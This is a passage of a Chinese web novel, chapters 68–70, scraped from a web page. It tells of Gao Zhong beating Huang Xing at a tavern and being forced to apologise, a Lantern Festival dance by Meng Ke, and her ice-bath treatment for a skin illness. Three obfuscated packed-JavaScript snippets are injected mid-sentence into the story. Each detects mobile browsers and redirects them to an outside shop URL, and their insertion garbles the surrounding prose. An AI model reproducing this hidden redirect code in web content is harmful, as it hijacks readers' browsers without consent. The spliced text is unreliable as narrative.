;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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那姑娘脑子发晕，脚下虚浮，站不太稳，一手捂脸，一手指着高仲：“你......凭什么……打人？！” 声音跟人，都在飘。 此话一出，高仲身边三五个人哄笑了起来。几人都二十上下，一看便是没什么正经营生的混子。 其中一个方脸短下巴的眼珠一转，一拍高仲的肩，假意劝道，“兄弟，算了。差不多得了！毕竟你也……今时不同往日了！” 旁边一个立时明白了，同他对了对眼，也道，“是啊，这曾家一件事接一件的，都自顾不暇了。你爹怕是也出不来了！” “忍忍吧！现如今你也要学会低头了。姑娘家有点脾气便有点吧，以后你俩关起门过起日子，还得......忍更多呢！” “你好歹也过了二十年好日子了，如今到头了……也得认！” 这几人都是与他厮混惯了的，最知道他的性子，哪里经得住这明劝暗拱火的。 果然，高仲那一张红脸，此刻涨得发紫了。 自出狱以来，他就一直窝着火。过去天天都是艳阳天，走哪儿都春风得意。可风向忽而就变了，如今在府内府外都是阴云惨淡，走到哪儿都是冷脸受气。 其实，别人未必真冷脸给他气受，只是过去捧着、让着的，如今正常待他，他便受不了这份落差了。 身边素来捧他臭脚的狗腿子，如今倒是变着法儿地玩他。 今夜，几人故意约他来吃酒，撞上了那想与他退亲的黄家丫头，随口挑唆了几句，他脸上便下不来了，冲上去便是一拳，将人姑娘打倒在地。 那黄家丫头若挨这一打，哭着跑了，让他下得台来，这事也就罢了。可她偏是有几分性子的，挨了打，自是不服气，当众跟他呛起声来。 这下，众人都看着，兄弟们都笑着，他下不来台了。 高仲看看她，再看看周围一张张或笑或说的脸，耳边嗡嗡的，只觉得众人都在嘲笑他，看不起他。他只觉得一股气直冲天灵盖，冲上去抓着黄杏，一拳又打了上去。 侍剑和雨歇同时动了，孟珂却拦道：“等等！你们今日在此地可以帮她，可你们谁还能蹲守在她家里，帮她一辈子？” 她看着那姑娘道，“如今挨两拳，总比挨一辈子的强。今日挨这一顿，让她看清楚日后是什么日子，能让她彻底狠下心，违了父母之命，退了这个婚，才算是造化呢。这女子婚后的处境，你们哪里知道......” 雨歇自是不动了。 周冶冲侍剑点了点头，侍剑也退了下去。 68. 上元 高仲指着那姑娘道：“爷打的就是你！黄杏！我让你拜高踩低，翻脸无情！眼见着曾家不行了，就想悔婚不嫁！小爷也是你想要就要，想扔就扔的？” 说来也巧，正值年节，两家又定了亲，高仲得了许嬷嬷的命，送些节礼上未来岳家。谁料，到黄家就听见里头在吵架。他留心一听，原来是姑娘不乐意，跟家人哭闹要退婚。 他气得把东西一扔就跑了。 其实，黄杏年前就一直闹着退婚，全因为去城隍庙烧了一次香。 那日，她祈愿姻缘顺遂，和乐美满，谁料那香却断了。这么大的事上触了霉头，想不忧心都难。她忐忑地出了庙门，又被人叫住了。 “姑娘看着心有烦忧，可要抽根签，卜上一卦？” 黄杏一看，门口摆着一溜抽签卜卦的摊子里，一个生面孔的老道正目光灼灼地看着她。想到方才的断香，她犹豫了下，还是点了点头，走过去坐下。 一抽，又是根下下签。黄杏心下更不安了。 老道接过签一看，抬眼看着黄杏捋了捋胡子：“此签，大凶，恐有性命之虞。” 黄杏听了大惊失色，眉毛都倒竖了，一副泫然欲泣的模样：“可……可有什么破解之法？” 老道抬手一拦道：“姑娘莫急，待老道说完，这签虽是大凶，但这凶中藏吉，尚有一线生机。你若梦自救，而后天可救之，方能转危为安。” “自救？怎么救呢？”黄杏看了看他的摊子，是要请什么符，送什么瘟神恶鬼？她摸了摸钱袋，今日钱可能没带够。 谁知，那老道并没揽活计，只慢悠悠地念了句：“幡然醒悟见红日，峰回路转自有时。” 黄杏一脸迷茫，看着老道：“还请仙人指点。” 那道人神神秘秘地道：“要峰回路转，便在这幡然醒悟四字上。还需姑娘自己去悟了。” 便是这一日，黄杏回家的路上就听说袁家小子“快死了”。她悚然大惊，这不就是大凶吗？难道……这就是她的性命之虞？本来今日求的就是姻缘，偏偏香就断了。那要断送她性命的，便是高仲？ 她琢磨着那道人的话，幡然醒悟，是谁醒悟，是那高仲还是自己？高仲若醒悟悔改，自然危机可解。但若高仲不醒悟，死的便是自己了。她得拿命去赌他醒不醒悟？自救，而后天可救之，难道……是要她自己去……退婚？ 黄杏的心登时乱了。她虽有点脾气，但也没想过要在婚姻大事上自专。这从来都是父母之命，媒妁之言，万万没有让她自己说是与不是的道理。 此前，曾家保媒给了黄家好大的脸面。她也一直相信，有曾大人在，高仲再浑，也总归有人替她做主。可是，如今曾大人死了，又有那袁家的事摆在眼前…… 是了，可不是得自救了？黄杏心一横，回家便开始闹退婚。 此刻，她鼻血长流，一说话就满口的血，还在顺着下巴往下滴，看得人心惊。她心中却前所未有的踏实，这便是她的“见红日”，也是“峰回路转时”了。 有人递上一方绣帕。她也顾不上看是谁，接过来胡乱擦了几把，顶着一脸的血迹泪痕道：“什么拜高踩低？什么翻脸无情？我不想嫁你，是因为你差点打死人。你这样心狠手黑的人，便是摆着金山银山，我也不嫁！” “少找这些狗屁理由！”高仲一挥手道，“既是不愿，你家为何要答应结亲？订了亲又悔婚，拿这些鬼话来糊弄人！” 黄杏哭道：“当初是曾大人保媒，说你平日是骄纵了些，不过是年轻不懂事，做事是有分寸的。有他在，断不会让我受气，我这才勉强应下。谁料，你转头就差点将人活活打死。你这样贪酒、暴戾，手下没个轻重的人，我如何敢嫁？” 她一口气说了这许多，一阵发晕，歇了歇，才又道，“你不想想自己做了什么事，什么都推到别人身上！” 高仲哪里肯听。 这一番折腾，他酒劲儿都上来了，舌头也有点大了，含糊着吼道：“黄……黄杏，你少在这儿花言巧语！你分明就是……看我家大人没了，这才看不起我了。我家大人是没了，可还有公子呢。便是没有曾家倚仗，你也掂……量掂量，凭你，有没有命退这个婚！” “我有没有命……”黄杏心下又急又气，可看着这个醉鬼，说什么都不过是白费力气，于是一跺脚，强咽了下去道，“算了，我跟你说不着！不管爹娘答不答应，这婚，我是退定了！” 说完，转身便要走。 那高仲见状，伸手便去抓她，可脚下不稳，竟生生将人扑倒在地。两人随即滚作一团，涂了一身一地的血。 那黄杏本就晕，这下更是被摔得七荤八素，模糊地看着周围森林似的人从，又羞又怒，一时发了狠，使尽全身力气，胡乱地拳打脚踹起来。 那高仲酒劲儿本就上来了，这一摔又磕到了头，正发懵，一被打，也本能地胡乱挣打了起来。 两个年轻男女，竟在众目睽睽之下，这般扭打搅缠在一起，众人哪见过这样的？一时都看愣了。 这时，一个妇人从后堂冲了出来，两手一拍大腿，叫道：“哎哟！我的天爷诶！” 这一嗓子，倒是让周冶认了出来。 涤砚也惊道：“这不是……公子你赶了的衙门厨娘，黄家婆子！原来，这姑娘就是她女儿。” 侍剑也道：“难怪，明知这高仲是什么性子，还愿意结亲。明知道他差点打死人，也不答应女儿退亲。这婆子简直钻钱眼儿里了！” 只见那黄家婆子冲上去，一边“未来姑爷”，一边“我的小祖宗”地叫着，去拉两人：“你们这……像什么话！虽说是定了亲的，早晚一家人，可这……这让人看着怎么回事啊！” “原来是你家姑娘！”楼里跑堂的意外地道。 这黄家婆子如今就在这南酩楼的后厨帮工。黄杏今日来酒楼寻她，偏巧就遇到了高仲——许是那几个混子本就知道了，故意引来的。 只是，黄家婆子是年后开市才来的，日子不久，大家还不认得她女儿。 既然是自己人，酒楼的人也不好干看着了，忙都上手，拉的拉，拖的拖，将二人分开，都扶了起来。 黄家婆子一看，女儿的鼻子都歪了，血还在流，忙帮着止血，又央告跑堂的伙计帮着去延医找药。 *** 楼上，孟珂笑着看周冶：“大人可要断这家务事？” 周冶道：“也是时候管管了。” 说着，冲楼下厉声喝道，“什么人在这儿公然斗殴！” 方才混乱，没人注意，这会儿抬眼一看，众人都惊了。 那几个混子心道，不好，此人虽日常懒散，不大理事，却跟那高家过不去似的，今日怕是也不能善了，于是也不管那高仲了，乘乱就要跑。 侍剑一翻身就跳了下去，拦在几人面前，唤出街上巡防的人来，和高仲一并扭送去了衙门。 黄家婆子在一旁数落女儿道：“都是你惹的事！要不是你闹着要退婚，怎会有今日这事？你怎么说也是个大姑娘，怎么能……这么当众……” 黄杏吐了一口血沫，冷笑道：“不退婚，等着被打残、打死吗？” 黄家婆子道：“他这喝了酒的人，说话、做事都不算数的！他正年轻气盛的时候，你又在外头，当着这么多人不给他面子......也不能都怪他。” “不算数？那他喝多了把我打死，算不算数？”黄杏冷笑道。 黄家婆子：“看看平日里，他对你，对我们，还是上心的。” “不是他上心，是你上心！上心他家的聘礼！” “你还小，哪里知道这其中的道理......” …… 说着要顾颜面，可母女俩就这么一句接一句的，当众吵了起来。 这闹闹嚷嚷中，大夫来给黄杏验了伤，身上淤伤都不打紧，摔的、擦的要不了多久就能好，只是鼻梁骨折了，但好在人年轻，慢慢将养就是，不会留什么伤痕。 周冶吩咐了涤砚回衙门处置。那几个混子挑唆起事，但毕竟没动手，警告的警告，关了会儿，也就让家人领回去了。 那高仲则挨了二十板子，赔了钱，拖着挨打的屁股，唉哟着回了南酩楼，看黄杏坐在堂内，半张脸都缠上了布条，包得粽子似的，不由一愣。 其实，酒气一散，他心下就失了悔。如今再一瞧她这样子，也觉得自己这次是有点过了。当初，他看上黄杏，就是冲着她的好颜色，如今这一闹，也不知会不会留疤，倒是糟蹋了。 黄杏没留神看到他，又是一惊，狠狠瞪了瞪，扭开头去，不与他对视。 “还愣着干什么？”侍剑喝道。 黄杏闻声又转头去看，才发现是周大人的侍从，又将他押回来的。 周冶闻声推开了楼上窗户。 高仲抬头一看，求饶道：“大人，能不能……换个少人的地方？” 衙门勒令他当众向黄杏下跪赔礼道歉。 他看了大门口一眼，这南酩楼本就在绥陵最热闹的街口，何况这还是上元夜，街头人头攒动，往门口一跪，这脸是丢得全城都看见了。 “嫌丢人？” 周冶推门出来，轻笑道，“你闹事的时候也没捡人少的地方啊！你打人姑娘的时候，可顾过人家姑娘要不要脸？来，你倒是给我个理由，为什么要顾你的脸面？” 说着，一行人慢慢走下楼来。 见高仲还不动，周冶冷冷地道：“我的话，说得很清楚了吧？今夜，你是大门口去，向姑娘跪地磕头求谅解， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999165|193939||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还是直接进大牢，你自己选！” 高仲还是没挪窝。 “我这人可没耐心。”周冶冲侍剑一挥手，“押他回去，下狱！” “我跪！我跪！” 高仲忙扑通一声跪下，飞快地膝行到了门口，冲着大街上的人潮，犹豫了一瞬，大声叫道：“黄杏姑娘，我高仲是……畜生，今日动手打了姑娘，在此当着绥陵父老的面，向姑娘赔礼、道歉！求姑娘原谅！” 说完，一头磕下地去。 “我听不见。”周冶慢慢往外走着，“重来！” 高仲狠狠心，又重重地磕了下去。 周冶：“我听不见，就不作数。” 围观的人越来越多，冲着他指指点点，说说笑笑。高仲心一横，猛地磕了下去，额上当即红了。 周冶笑道：“这还差不多。” 黄家婆子听见动静又冲出来了，边跑边道：“使不得！大人，使不得啊！教训教训就够了，本就是一家人！这以后还怎么过啊！” 侍剑和雨歇已经同时伸手，拦住了黄家婆子。 周冶转头对黄杏道：“姑娘，谅解不谅解，你自己决定。全凭你自己心意……” 扫了黄家婆子一眼，“谁的话你也不要听！” 那高仲一个接一个头地磕着，黄家婆子在后面闹着。黄杏见他磕得出了血，还是心软了，帮着说了几句话，这才放他走了。 *** 高仲被围着看热闹的时候，对面客栈的二楼，尽头那间客房吱呀一声开了门。 门内的素娥一看，是曾铭。 曾铭将手中的食盒朝她一递：“今夜是上元佳节，本该一家团聚。嫂嫂如今一个人孤身在此，也要好好吃一顿。放心，这些吃食都是外头买的，你……安心吃便是。” 素娥没接：“二公子何必如此客气？住这客栈就已经让你破费了，还费这些心做什么。再说了，这里热闹，周围什么吃的没有？” 曾铭的手没动：“就当是我替大哥送这一餐吧。再说，也就这一餐了。嫂嫂一心离开，今后只怕也不会有机会再见了。” 素娥想了想，接了过来：“好，那我就收下了。只是，嫂嫂二字就莫要再叫了。我既已离了曾府，便再无干系了。” 曾铭点点头。 “还有，此间事已了，明日我便走了。二公子也不必再破费续这房钱了。” “那……明日我来送送你。” “不必了。” 说完，素娥略施一礼，便关上了门。 曾铭苦笑了笑，听见远处的人潮声越来越近，看向了窗外。 街上一片热闹祥和，人人脸上喜乐，不远处有歌声鼓乐传来，正是上元之夜该有的样子。 他的目光忽而一顿，对面的南酩楼门口，站着几个熟悉的人影。 周冶望了望街东头，转头对孟珂道：“这上元夜，本该去走走，热闹热闹的，但我看你这身体也经不起劳累。游行就打这门口过，咱们就在这儿看看，也算不辜负今夜。” 孟珂笑笑，听那人潮的声音，应该近了。 雨歇扯了扯小姐：“果然，过节还是该出来玩玩，这听来的热闹和置身其中还是不一样。” 洗墨激动得紧，踮起脚尖望道：“这还是我们第一次在这儿过年，也不知有什么新鲜玩意儿。” 鼓乐声越来越近，大街尽头的人群慢慢散开两边，露出为首两队舞龙的人来。而紧随其后的长龙中，各式花车不知绵延出去多远。 洗墨人来熟地向旁边路人打听。 路人道，这绥陵上元夜游行的习俗，是每个镇至少出一项传统绝技，而城中的达官富户，乃至一些想借此扬名揽客的商家，也会花钱请人，上演一出节目，添添喜庆。 而这游行的长龙里，最打眼的就是最高的那架花车，远远就能看见上面立了一对少女，手中执着什么，跳着什么没见过的舞。 见这几个京城来的都伸长了脖子，一脸迷惑的模样。孟珂笑道：“这上元夜游行，最有看头的就数那镜月仙姝。传说，这镜月湖本是天上仙姝的镜子。只因姐妹二人争夺玩闹的时候不慎失了手，这才掉入人间，化为镜湖。” “那姐妹二人下凡寻镜，正遇上花车游行，新奇极了，加入人群玩闹了一夜。及至破晓鸡啼，来不及取镜便飞回天庭，这才留下了这镜月湖。” 她顿了顿，意味深长地笑道，“故而，城里每年都会选出两个模样一等，又善歌舞的女孩，扮演那仙姝姐妹。” 说话间，那花车已渐渐近了。 只见那二人手中各执一柄洞箫长短的东西，两端镂空，中间卡着什么，还坠着流苏。 周冶走了很多地方，却从没见过物，奇道：“那是什么？” 69. 冰块 孟珂看了一眼道：“那叫铃箫，‘铃箫铃箫，灾病全消’。男女老少共跳这支铃箫舞，便是为了纪念两位仙姝与民同乐。” 周冶一瞧，花车周围一圈人，手中果然都拿着，奇道：“嗬，这舞男女老少都会。” 孟珂笑道：“简单比划几下，图个热闹罢了。这舞的妙处，自然还是要看上面那二位。” 花车已经行到近前。新一曲乐声响了起来，那两个仙姝将铃箫当空举起，同时一摇，“嚓”一声，仿若一声令下。前后左右的人，便跟着舞了起来。 一时间，数不清的铃同时响了起来。那每一响都配合着整齐的动作，发出一种有顿有挫，颇有节奏的沙沙声响，与平常那清越悠荡的铃声完全不同。 周冶惊异不已，只叹民间有高人，竟想出这样的跳舞之器：“我听说，边地有一种手鼓舞，便是边击边舞，声形相和，不想竟还有这铃箫，堪称异曲同工之妙。” 街巷两旁，围观的人有拿着铃箫的，有随手拿根棍子的，也有空手的，也在那儿手舞足蹈……倒真是一派万民同乐之象。 百姓们跳个热闹，那二位仙姝则跳得曼妙。 那铃箫在她们手上，时而上下翻飞，旋转如花；时而敲打击叩，顿挫铿锵；时而抛接扔转，动作行云流水，看得人目不暇接。 正惊叹之间，却听孟珂轻轻“啧”了一声：“可惜。” 周冶没看出怎么可惜了，问道：“怎么说？” 孟珂冲右边那个仙姝抬了抬下巴：“那一跳失了手，慢了半拍，同身体的动作没对上，最紧要的地方囫囵过去了。” 周冶还没开口，就听旁边一个稚嫩的少女声音愤愤道：“瞎说什么？那可是全绥陵最好的！” 两人转头一看，是个十二三岁的少女。 这个年纪的少女已经抽了条，但还未脱那软糯的孩子脸。她气鼓鼓地瞪着孟珂，活像一种胖脸鱼，可爱极了。孟珂忍不住一笑，遇上她愤愤的目光，忙又收了。 少女道：“站着说话不腰疼，在这儿说什么大话！她跳得不好？有本事你跳一个。” 她手里拿着根旧铃箫，瞧那上面的磨损，就知道苦练许久，却……没被选上。 若那选上的都不好，她这压根儿没选上又成什么了？于是，孟珂好脾气地道：“是我一时口出狂言了！” 那少女却不依：“你知道那仙姝之舞多难吗？你若跳得比她好，我便服你。若没她好，那就得服气人家！说什么风凉话呢。” 真好，不嫉贤妒能，不落井下石。孟珂看着她那干净到有种透明感的脸，不由面露艳羡，这股少年之气，便是少年才能有的。 半晌，她笑了笑，唏嘘道：“等你长到我这么大，就不会在乎别人服不服气了。” 那少女自然听不明白，哼了她一声，转头又去看那仙姝了，手上脚上还在小幅度地跟着动，满脸的艳羡。 孟珂看着她，扫了周围一眼，轻轻撞了撞她道：“想学？” 少女愣了一下，不知她何意。 孟珂朝她一伸手：“给我！” 少女疑惑着，把手中铃箫递了过去。 孟珂接过的瞬间，便转了一个花，才拿定在手。 少女一惊，看了她一眼，自觉让开了些。 周冶的眼睛也当即一亮，往外站开了些，抬手挡着拥挤的人流，给她腾出块地方来。 此时，对面客栈。曾铭下得楼来，在门口顿住了脚，隔着游行的人潮，看向了对面，正好见孟珂手拿铃箫。他心下一惊——当年的双姝之舞，他是看过的，没想到，此生竟还有再见之日。 就在这时，一个女人的声音自身后而来。 “哟，这不是二公子嘛。” 曾铭悚然一惧，猛地转过身去，见梁夫人正从楼上下来。 他余光飞快地扫了对面一眼，那头没一个人注意到这头。 “怎么了？”梁夫人顺着他的目光看过去，“外头有什么好看的？” *** “看外头……开始飘雪了。”曾铭冷冷地道。 说着，挪了一步，估摸着正好可以挡住梁夫人的视线。 梁夫人倚栏看着他，意味深长地看了楼上一眼，轻笑道：“你这小叔子倒是贴心，送嫂嫂住进来，还送吃送穿的……也不怕人说嘴。” “这就不劳夫人费心了。”曾铭对她言语里的调戏视若无睹，看着她冷笑道，“最近事多，倒是没来得及过问，家母在即是庵落水一事……” “哦？怎么过问？谁害她了，谁看见什么了？”梁夫人捂嘴轻笑了起来，笑完轻蔑地看着曾铭道，“这么多年你都白活了？还没学会吗，这没证据的事，别瞎说。” “仙姝过来了！”大堂里的人都开始疾步往外走去。 梁夫人往外看了一眼，也一步步走下楼来。 曾铭朝她走近几步，拦道：“你敢说与你无关？” 梁夫人不由愣了愣，他这人平素碰到她，只当她无物，随她怎么说都不搭理，今日这是怎么了？ 曾铭语气冷淡，但就如一把散发寒气的冰刃，逼人地道：“曾家近来的这些事呢，也都跟你没关系？” 梁夫人笑：“你今日吃了火药不成？” 说着，就绕开他往外走——外头还有人等着。可那曾铭跟着左挪右移，死死挡在她面前。 “你拦我做什么？” 此时，街对面几人，对这将要袭来的危机浑然不知。 周冶见孟珂拿着铃箫，仿若手执宝剑，反手收于身侧，手上一个挽花，只听得轻轻一声脆响，一端便敲在了右腿的脚踝处。 声响之时，人已轻轻跃起，左腿从身后踢在了另一端，又是一声脆响。她微微一俯身，在背上转了一个花，当空一抛，旋即稳稳接在了手中。 孟珂看着手中东西，一脸感慨的笑，多年不曾拿过，一拿到手，身体的记忆还在。 她冲少女笑笑，眼中仿佛在说，“瞧好了，这才算开始了。” 那东西仿佛忽而有了生命，从后背飞到前胸，上到锁骨，下到手腕、脚腕，各处翻飞，只听得沙沙沙一阵阵响。 而那每一声响，也应和着周冶扑通的心跳。 那东西不时落在肩头、膝头、脚踝各处，将女子柔软曼妙的身姿展露无遗，引人遐思，让人想看却又觉得不便直视……但一看洗墨侍剑几人，都看得乐呵，似乎并没有什么不妥，倒像只他自己心虚似的。 雪花轻柔地飘下。她每一动、一展、一跃，带得衣袂翻飞，发丝飞舞，仿佛一只轻灵而优雅的鸟儿，独自在漫天飞雪中，旁若无人地自舞。 最后，只见她将铃箫当空一抛，接连几个鹞子翻身，站直了，就地旋转一圈，刚好从容地自背后接住，沙一声收尾。 洗墨撞了撞周冶：“公子，这孟小姐果真……这西孟之名，名符其实啊！我今日算是见识了。” 周冶回过神来，看她的眼神似乎都深了几分。 孟珂将铃箫递还少女：“这舞的要诀，便是击打，要如白鹭在水面的起落，轻快而优雅，行云流水，不能有丝毫阻滞之态。” 那少女愣了一瞬才回过神来，问：“姐姐，你也当过仙姝吗？” 孟珂顿了顿，摇了摇头：“怎么可能，我……在京中长大，方才看见仙姝跳，现学现卖罢了。” 她这一套动作，与方才仙姝的有八九分相似，但有几处不同，料想寻常人也看不出来。 见少女一脸的难以置信，孟珂又道：“她们跳一路了，我都看几遍了。就是学得快罢了！” 有些人就是一边看，一边就能跟上，几遍下来就熟了，不服不行。少女点头道：“我娘是乐坊舞娘，听她说，历年里跳得最好的，还要数我六岁那年的两个。当时那位梁家小姐惊艳极了，我那时年纪小，有些印象，却也记不分明了。方才看姐姐跳的，倒让我……想起她来。” 周冶看向了孟珂，这少女说的定是她无疑了，而那另一位，想必就是梁夫人。瞧她微微笑着，仿佛在听别人的事一样，脸上绷得不露破绽。可他却分明瞧出，有那么一丝前尘往事不可追之感。 少女不由又想到了自己，郁郁道：“你们便是我娘说的那种，老天赏饭吃的。而我就是……要饭吃的。再怎么学，也最多能给人伴个舞。” 这话倒是把孟珂逗乐了。她抬手，试探地摸了摸少女的头。 “你若喜欢，就只管跳好了，谁说一定要比别人好？比你自己前一日跳得好，就够了。只要你自己跳得开心，当伴舞又有何不可？为何非要做领舞的那个？” 少女歪头想了想，好像是这个理，笑着去了。 对面客栈里，梁夫人心下发奇地笑道：“大家都凑凑仙姝的热闹，你拦我是什么道理？” 曾铭冷冷地道：“如今的双姝，能有什么好看的？真正的镜月双姝，不就在这儿？” 梁夫人却从他这话里听出了一丝肯定，心下竟有一丝高兴，也不与他计较了。反正这人从来牛心牛性，也不是第一日见识了。 借着墙上的八卦镜，见街对面那头已经停了，曾铭松了口气，瞥了梁夫人一眼：“多说也无益。我只有一句话，望夫人好自为之！” 说罢，决绝地转身而去。 梁夫人看着他离去，同一旁的孙嬷嬷面面相觑，这人怎么突然地来这么一出，又莫名地去了。 她摇了摇头，走到门口，扫了眼慢慢远去的花车，笑道：“倒真如他所说，如今的双姝，是没什么好看的！” 说罢，掀帘上了马车。 她在车内坐定，孙嬷嬷掀开帘子一角问：“那位如何了？” 马车外，眼睛看着游行队伍的路人中，有个声音道：“烟雨斋里，整日不是训人，就是砸东西、发脾气。园里的人，皮都绷着呢，生怕说错做错，触了霉头。我也是好不容易，才找了上元夜瞧热闹的借口，跑出来的。” “知道怎么回事吗？” 芳儿道：“说是新近发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999166|193939||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现，原来那樊仲荣闹了好大的亏空，肯定是借机卷钱跑了，根本就跟曾怀义的事没什么关系。那位都被气疯了，还病了些日子，有几日都没踏出过烟雨斋的门。” “我说呢，外头这么多热闹，也没见她出来。”梁夫人吩咐道，“回去继续盯着，走吧。” 马车甫一驶过，周冶的目光便看了过来。有个人穿过了街心的人流，朝他走了过去。 “二公子。”周冶笑道。 曾铭同他见过礼，便对孟珂道：“小姐，可否借一步说话？” 孟珂点了点头，与他走开了些。 周冶远远看着，不知他说了什么，孟珂目光一震，往街对面看了一眼。那曾铭并无多话，旋即自去了。 周冶心道，这曾铭倒有点意思。这两个人，也是够有趣的。明明是仇人之子，即便不反目成仇，也不该如此和谐。可瞧孟珂的样子，对他没有怨怼，还挺放心。到底是拿捏得住他？还是有别的什么缘故？ 游行的队伍一路向西而去。而曾铭不紧不慢的身影，缀在欢庆的人潮尾巴上，像坠着个沉重的物件，显得异常格格不入。 这上元夜的热闹里，还有个人与周围都格格不入。 那高仲顶着一额的血痂，离了南酩楼就钻进旁边的暗巷，专拣人少的地方钻，也不知走出多远，才停下来靠墙歇歇。一挨墙，屁股就生疼。他抬手要摸，又不敢摸，只能撑在了腰上。 今夜，他高仲的脸算是彻底碎了，碎得拼都拼不起来了！他肩靠着墙，屁股远着，就那么斜抵在墙上，低低地笑了起来，越笑越大声，在空旷的巷子里来回响着…… 笑完了，他抬眼一望，见前面隐约有个酒幡，于是慢慢挪了过去，一掀帘钻了进去。 帘外，雪花越来越密，越来越急，地上已经慢慢积了起来。 *** 等孟珂回到竹雨院，五儿已经从熹园回来，带回了当日的信件。 孟珂吩咐道：“我这边如今照应得过来了，你便在熹园呆着，没有通知，不必过来了。” 五儿退下便径直回去了。 回雪收拾着案头堆积了几日的信件，抽出两封递给小姐：“二公子都来两封信了。小姐这些天不是昏睡，就是在外头跑，都没功夫给你看。算算日子，公子应该是刚离开绥陵便写了头一封。再不回，要着急、生疑了。” 孟珂粗略扫完了一封，拆着第二封：“二哥哥离开那日，竟在路上遇到了曾立，还帮他把陷泥的马车给拉了出来，助他上路。” 她顿住了，这算是助他，还是…… 她对着信，仿若卢宽就在眼前，用那张自矜的绝世容颜，看进她眼睛里，认真地道：“曾立父子之死，非你之过。千万莫自责。再说了，你就是杀了他全家，又如何？你就是哪日一把火烧了这绥陵城，又如何？” 孟珂又会哭笑不得地对他道：“这也是你这朝廷命官能说的？” 可如此想着，她却不由地滚下泪来，耳边回响着卢宽的话，“我总是站在你这边的。不管你做什么，我都是站在你这边的……” 她又是哭又是笑的，喃喃地道：“他这人呀，还好没托生在帝王家，不然也是那幽王、殷纣一般无二的昏君！” 卢宽听了，定会回说：“所以我也只领个闲差。于家国无害，于社稷无危。” 他只要守护他珍惜的人，就够了。 “小姐，怎么倒伤心上了。”回雪提醒道，“该药浴了。” 孟珂擦了擦泪，走入屏风后，缓缓褪去衣衫，露出满身斑驳的红，好多地方已经发紫，乍一看，还以为是剥去肌肤，徒留血肉，简直……触目惊心。 再一看，她胳膊上、腿上，都是掐痕，都是痒得实在忍不住的时候，深深掐入的痕迹——只有用痛，来盖过那痒，得片刻止歇。 瞧回雪顿在那儿，孟珂故作轻松地笑问：“怎么，害怕了？” 回雪含泪道：“小姐说什么呢！奴婢就是心疼。都说，这比痛更难忍的，就是痒了。真不知道，小姐这一天天的，怎么忍得下来！” 孟珂落寞地笑笑：“不忍，又当如何。” 她微微叹口气，“难道寻死吗？起码，现在还……死不得。” 周冶回来，先到前院书房去了一趟，回来路过竹雨院门口，正好撞见几个粗使下人拎着桶走来。 一看，几人拎的桶里都是冰，他惊道：“冰块？这数九寒冬，还用冰做什么？还用这么多？” “小姐每日都要的。” “拿去做什么？” 为首的下人摇头：“这……我们就不知了。” 周冶心道，也是，这些粗使的下人，是进不得房里的。 下人看了看漫天的雪，道：“我们也纳闷呢，一次要几桶，有时候一天还要几次……” 周冶一挥手：“行了，你们去吧。” 往竹雨院里看了一眼，又提醒了一句，“别多嘴说我问过。” 几人应着去了。 70. 旧疾 红荔在门口接了冰桶，提进去放在浴桶边。桶中已经泡了好多个药包，在这数九寒天，却连一丝热气也不冒。 孟珂将赤裸的右足伸了进去，当即一个寒战。 回雪忙上前一步扶她：“小姐，还是别加冰了？这水就已经够凉了！” 孟珂深吸了一口气，忍着刺骨之凉，毅然走进去坐下，闭上眼：“倒！” 回雪没法，一狠心，哗啦啦地倒了一桶。 有几块浮到了身周，碰到肌肤，她不由嘶了一声，咬紧了牙关，极力稳住那冷得直抖的身子。 她的牙齿咯咯打着颤，可周身的痒，那痒到火辣辣的感觉，好歹因为冰冻而得了片刻缓解——不过是换了一种难受。不是难耐的奇痒，就是冷到痛，简直冰火两种天。她心下自嘲地笑道，这活的到底是什么！ “都这样了，小姐还成日在外奔忙，怎么受得了……”回雪眼里湿了，再说不下去了。 孟珂吐出一口气：“傻回雪！正是有事情忙着，才能有那么一时片刻，忘记这满身不适。若是干坐在屋里，便时时刻刻都煎熬了。” 她突地想起了金三，他如今脱了那身臭皮囊，终是得解脱了，一时间，心中竟升起些羡慕来。有好些时刻，她也觉得，生，实在不若死了。年年发病，还年年不一定什么样。 这药石无灵的病体，等到大仇得报的那天，能不药而愈吗？她自己也不知道，它能不能撑到那一天。 她抬起胳膊一看，这次的病，发得也够有意思，够让她痛苦得死去活来，却又好像还留了一分怜惜——这周身的红斑，上到脖子，下到手腕、脚腕，愣是一点没蔓延过线，保住了她那张脸和那双手，不至于惊吓世人。 却说周冶，回听风轩拿了本书看着，脑中还是忍不住想，她一天要那么多冰干什么？坐了半晌，他还是按捺不住，一翻墙，从后院入了竹雨院。 到了窗下，只听得回雪正在说话。 他侧耳细听，只听回雪道：“小姐，二公子对你的心，瞎子都看得清清楚楚。” 孟珂不言，回雪又问，“你真的不……考虑考虑？” 孟珂含笑道：“他那是疼妹妹。” 那声音听着有些抖。 回雪道：“说句不该说的，卢家那些堂妹、表妹，可比小姐你亲，怎么不见他去疼谁？” “你还不知道他那个人？”孟珂冻得嘶嘶着，笑道，“只有那九天之上的神女，才能入他的眼呢，其他的……连女子都不算。” 